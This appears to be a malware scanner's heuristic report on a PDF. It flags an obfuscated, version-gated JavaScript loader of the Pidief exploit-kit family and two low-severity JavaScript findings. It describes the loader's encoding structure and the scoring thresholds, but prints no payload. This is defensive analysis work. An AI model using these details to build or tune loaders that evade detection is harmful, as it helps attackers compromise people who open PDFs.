Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
